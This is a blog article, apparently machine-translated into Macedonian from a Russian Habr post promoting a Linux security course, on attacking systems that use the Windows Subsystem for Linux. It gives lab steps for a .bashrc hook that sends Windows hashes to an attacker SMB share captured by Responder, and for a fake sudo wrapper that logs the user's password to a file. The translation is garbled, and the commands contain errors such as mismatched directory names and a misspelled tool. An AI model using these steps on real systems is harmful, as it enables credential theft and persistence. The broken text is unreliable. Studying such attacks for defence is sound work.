WSL експерименти. Дел 1

Здраво, Хабр! OTUS лансира нов тек на курсеви во октомври „Безбедност на Линукс“. Во пресрет на почетокот на курсот, со вас споделуваме статија напишана од еден од нашите наставници, Александар Колесников.

Во 2016 година, Мајкрософт ја претстави новата WSL технологија на ИТ заедницата (Wиндоус Sпотсистем за Linux), што во иднина овозможи да се обединат претходно непомирливите конкуренти кои се бореа за популарност и кај обичните и кај напредните корисници на ОС: Windows и Linux. Оваа технологија овозможи да се користат алатки за Linux OS во околина на Windows без потреба да се стартува Linux, на пример, со користење на Multi-boot. На Habr можете да најдете голем број написи кои ги опишуваат придобивките од користењето на WSL. Сепак, за жал, во времето на создавањето на овој напис, не беа пронајдени студии за безбедноста на таквата симбиоза на оперативните системи на овој ресурс. Овој пост ќе биде обид да се поправи ова. Написот ќе зборува за карактеристиките на архитектурите WSL 1 и 2 и ќе испита неколку примери на напади врз системи кои ги користат овие технологии. Статијата е поделена на 2 дела. Првиот ќе ги обезбеди главните теоретски методи за напад од Linux и Windows. Втората статија ќе вклучи поставување на тест средина и репродукција на нападите.

WSL 1: архитектонски карактеристики

За најпрецизно нурне во безбедносните прашања на WSL, неопходно е да се утврдат главните нијанси поврзани со имплементацијата на потсистемот. Една од главните кориснички задачи што ги решава WSL е способноста да работи преку терминал Линукс на домаќин со оперативен систем Windows. Исто така, понудената компатибилност беше толку природна што извршните датотеки на Линукс (ELF) можеа да се извршуваат директно на системот Виндоус. За да се постигнат овие цели, во Windows 10 беше создаден специјален потсистем кој ви овозможува да извршувате апликации на Линукс користејќи збир на специфични системски повици - на тој начин, беше направен обид да се мапира збир на системи на Linux на Windows. Ова беше физички имплементирано со додавање на нови драјвери и нов формат на процес. Визуелно архитектурата изгледаше вака:

Всушност, интеракцијата со оперативниот систем Линукс беше организирана преку неколку кернел-модули и посебен вид процес - пико. Од дијаграмот погоре, можете да видите дека процесот што се извршува на примерот на Linux на домаќинот мора да биде мајчин и мора да ги користи истите ресурси како и обичните апликации на Windows. Но, како да се постигне ова? Во проектот Дравбриџ Беа развиени концепти за процеси за Windows кои ги обезбедија сите потребни компоненти на оперативниот систем (во зависност од неговата верзија) за да се изврши апликација на друг ОС.

Забележете дека предложената апстракција овозможи да не се фокусираме на оперативниот систем (особено, Windows), во кој се очекува да започне процесот на друг оперативен систем, и предложи општ пристап.

Така, секоја апликација во рамките на процесот на пико може да работи без оглед на кернелот на Windows:

1. Проблемите со компатибилноста и преводот на системските повици мора да ги решаваат специјални провајдери;
2. Контролата на пристапот мора да се направи преку безбедносниот монитор. Мониторот се наоѓа во кернелот и затоа на Windows му требаше надградба во форма на нов драјвер кој би можел да дејствува како провајдер за такви процеси. Прототипот на пико-процесот е шематски претставен подолу:

Бидејќи датотечниот систем Линукс користи имиња на датотеки и директориуми чувствителни на големи букви, во Windows беа додадени 2 типа датотечни системи за работа со WSL - VolFS и DriveFS. VolFS е имплементација на датотечен систем Linux, DriveFS е датотечен систем кој работи според правилата на Windows, но има можност да избере чувствителност на големи букви.

WSL 2

WSL 1 имаше голем број ограничувања што не дозволуваа да се користи за решавање на максималниот опсег на задачи: на пример, немаше можност да работи 32-битни Linux апликации и беше невозможно да се користат двигатели на уреди. Затоа, во 2020 година беше објавен WSL 2, што го промени пристапот кон градење на потсистемот. WSL 2 е оптимизирана виртуелна машина која одговара на карактеристиките на потрошувачката на ресурси на WSL 1. Сега, во зависност од проблемите што ги решава корисникот на Windows OS, можете да ја изберете потребната верзија на потсистемот Linux. За да се ублажат можните пропусти, WSL 2 беше имплементиран врз основа на Hyper-V во Windows 10. Во оваа форма, Windows има способност да го стартува кернелот на оперативниот систем Linux изолирано. Вреди да се запамети дека верзијата 1 на WSL беше воведена како бета функција која требаше да го покаже правецот на развојот на Windows во оваа област, така што транзицијата кон Hyper-V беше неизбежна. Конечната архитектура изгледа вака:

Во оваа верзија, кернелите на Windows и Linux имаат свои ресурси и пресекот постои само во датотечниот систем, но овој пресек не е комплетен. Интеракцијата помеѓу датотечните системи се врши преку обвивка клиент-сервер што работи со помош на протоколот 9P.

Денес Microsoft обезбедува можност за префрлување помеѓу WSL 1 и WSL 2. Двете верзии се достапни за употреба.

WSL безбедност

Во моментов, постојат неколку дела кои опишуваат некои пристапи за користење на легитимни оперативни алатки за напад на комуникација помеѓу потсистемите. Ќе ги користиме нивните скрипти за да ја провериме релевантноста на нападите во моментот на пишување. Општа листа на напади и сценарија:

1. Имплементација на датотечен систем: права на пристап, достапност на споделени директориуми/механизми за размена на податоци.

Беше спроведено истражување за да се утврдат прекршувањата на правилата за пристап од Linux FS->Windows FS, Windows FS->Linux FS. Истражувањето ја покажа способноста за менување на дадена датотека во рамките на целниот оперативен систем. Беа направени и обиди за замена, создавање дупликати и бришење на дел од датотечните системи.

Сценарио:

• A. Напад од оперативниот систем Windows - модификација на датотеки од директориумот /etc на Linux OS.
• Б. Напад од оперативниот систем Линукс - модификација на датотеки во директориуми: C:Windows, C:Program Files, C:Users<User>

2. Имплементација на мрежниот стек.

Истражувањето беше спроведено со употреба на примери на напади од оперативниот систем Линукс на Виндоус. Беа користени карактеристиките на мрежниот стек, имено, механизми за автентикација на различни ресурси.

Сценарио:

• Отворање пристап до порта што е окупирана на системот Windows
• Отворање порта без соодветни права
• Вклучување на обратна школка со помош на датотеката елф на оперативниот систем Виндоус.

3. Сокривање на стартување на малициозен софтвер процеси со користење на WSL потсистемот.

Истражувањето беше засновано на едноставен факт - безбедносните потсистеми не можат да пресретнуваат настани во друго јадро што работи со користење на легитимен провајдер од оперативниот систем во случајот на WSL 1. Во случајот на WSL 2, не постои начин да се прегледаат настаните што се случуваат во посебен кернел во рамките на лесната виртуелна машина.

Сценарио:

1) Стартувајте ја апликацијата за далечински пристап до системот и прегледајте ги најавените настани.

WSL 1 експерименти: хаш пресретнување (Windows)

Конечно стигнавме до практичниот дел. Прво, треба да ја поставите околината за тестирање. Сите експерименти ќе се вршат на клупа со инсталиран Windows 10 2004. Сликата на Ubuntu 18.04 е избрана како слика на оперативниот систем за WSL. Сликата е избрана по случаен избор, а секоја друга ќе работи исто. Наредби за поставување на штанд:

Прво мора да започнете powershell.exe како администратор.

За WSL 1 треба да ги извршите командите:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

По рестартирање на штандот, можете да ја повикате командата bash. Ако сè работи правилно, ќе видите излез сличен на овој во конзолата на Windows:

Ќе ја користиме дистрибуцијата Kali Linux како машина на напаѓачот; сите машини мора да бидат на иста локална мрежа.

Да претпоставиме дека имаме непривилегиран пристап до WSL на машина со Windows. Ајде да се обидеме да го нападнеме оперативниот систем Линукс со повикување на команда од Линукс. За да го спроведеме нападот, ќе користиме едноставна техника за автоматско активирање - ќе ја додадеме нашата скрипта за извршување во околината на Linux. За да го направите ова, треба да ја промените датотеката .bashrc.

На машина со WSL извршуваме:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

На машината Kali Linux работиме:

1. Responder -I eth0 -rdvw

На машина со Windows, ајде да стартуваме bash.

Го чекаме резултатот на машината Kali Linux:

Така, ги добивме хашовите на корисниците на Windows преку подсистемот WSL со извршување на командата на системот Linux.

WSL 1 експерименти: добивање корисничка лозинка (Linux OS)

Ајде да направиме уште еден експеримент. За време на оваа проверка ќе додадеме во датотеката .bashrc неколку команди со цел да се добие корисничката лозинка на оперативниот систем Linux.

Ајде да го стартуваме bash и да ги внесеме командите:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

За успешно завршување на нападот, корисникот Сем треба да повика sudo во терминалот Линукс. После ова, корисничката лозинка на Linux OS ќе биде во датотеката pass.txt:

Спроведувањето на нападите беше дадено само за теоретски информации.

Следниот дел од статијата ќе ја опише имплементацијата на протоколот 9P, ќе размисли за создавање скенер за овој протокол, а исто така ќе изврши напад користејќи го.

Список на користена литература

• WSL 2 ИСТРАЖУВАЊЕ ВО ЛОШОТ
• Виндоус потсистем за документација на Линукс

Прочитај повеќе

• Како да изберете софтвер за поправање на кернелот на Линукс во реално време

Извор: www.habr.com